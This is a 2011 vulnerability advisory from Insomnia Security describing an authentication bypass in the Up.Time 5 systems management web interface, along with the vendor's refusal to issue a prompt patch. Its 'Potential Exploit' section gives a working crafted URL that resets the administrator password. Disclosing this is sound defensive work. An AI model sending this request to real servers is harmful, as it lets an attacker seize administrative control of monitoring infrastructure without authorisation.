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Insomnia Security Vulnerability Advisory 110427.2

Insomnia Security Vulnerability Advisory 110427.2
Posted Apr 27, 2011
Authored by James Burton | Site insomniasec.com

Insomnia Security Vulnerability Advisory - One of the pages included in the admin interface of Up.time Systems Management software contains a function designed to set the administrator password when the interface is loaded for the first time. After this task has been completed the code which processes this request is left in the page. By sending a specially crafted request a remote attacker can abuse this functionality to bypass the servers authentication mechanism and reset the password for any account.

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Insomnia Security Vulnerability Advisory 110427.2

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Insomnia Security Vulnerability Advisory: ISVA-110427.2
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Name: Up.Time Administration Interface Authentication Bypass Vulnerability
Released: 27 April 2011

Vendor Link:
http://www.uptimesoftware.com

Affected Products:
Up.Time 5

Original Advisory:
http://www.insomniasec.com/advisories/ISVA-110427.2.htm

Researcher:
James Burton, Insomnia Security
http://www.insomniasec.com
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Description
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Up.time Systems Management software is used by over 700 customers
worldwide to manage, measure and monitor mission-critical server
performance and maintain IT service availability.

Up.Time performs systems management and monitoring on remote machines
via the Up.Time Agent which runs on each system. All agents are
controlled and managed through a central web administration interface
which runs on TCP port 9999.

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Details
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One of the pages included in the admin interface contains a function
designed to set the administrator password when the interface is loaded for
the first time. After this task has been completed the code which processes
this request is left in the page.

By sending a specially crafted request a remote attacker can abuse this
functionality to bypass the servers authentication mechanism and reset
the password for any account.

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Potential Exploit
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This vulnerability can be exploited via a web browser:

http://UPTIMESERVER:9999/index.php?userid=admin
&firstTimeLogin=True
&password=admin
&confirmPassword=admin
&adminEmail=admin@admin
&monitorEmail=admin@admin

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Solution
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Up.Time Software was notified of this issue on the 16th of March 2011.
Full details were provided and the vulnerability was confirmed.

When asked to provide a fix for the issue Up.Time refused to release
a patch. Instead they said they would include a fix in the next scheduled
release. Despite further questioning no indication would be made on
when this fixed release would be available.

Up.Time users would be well advised to contact support@uptimesoftware.com
and request the update be published immediately.

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Legals
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The information is provided for research and educational purposes
only. Insomnia Security accepts no liability in any form whatsoever
for any direct or indirect damages associated with the use of this
information.


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Insomnia Security Vulnerability Advisory: ISVA-110427.2
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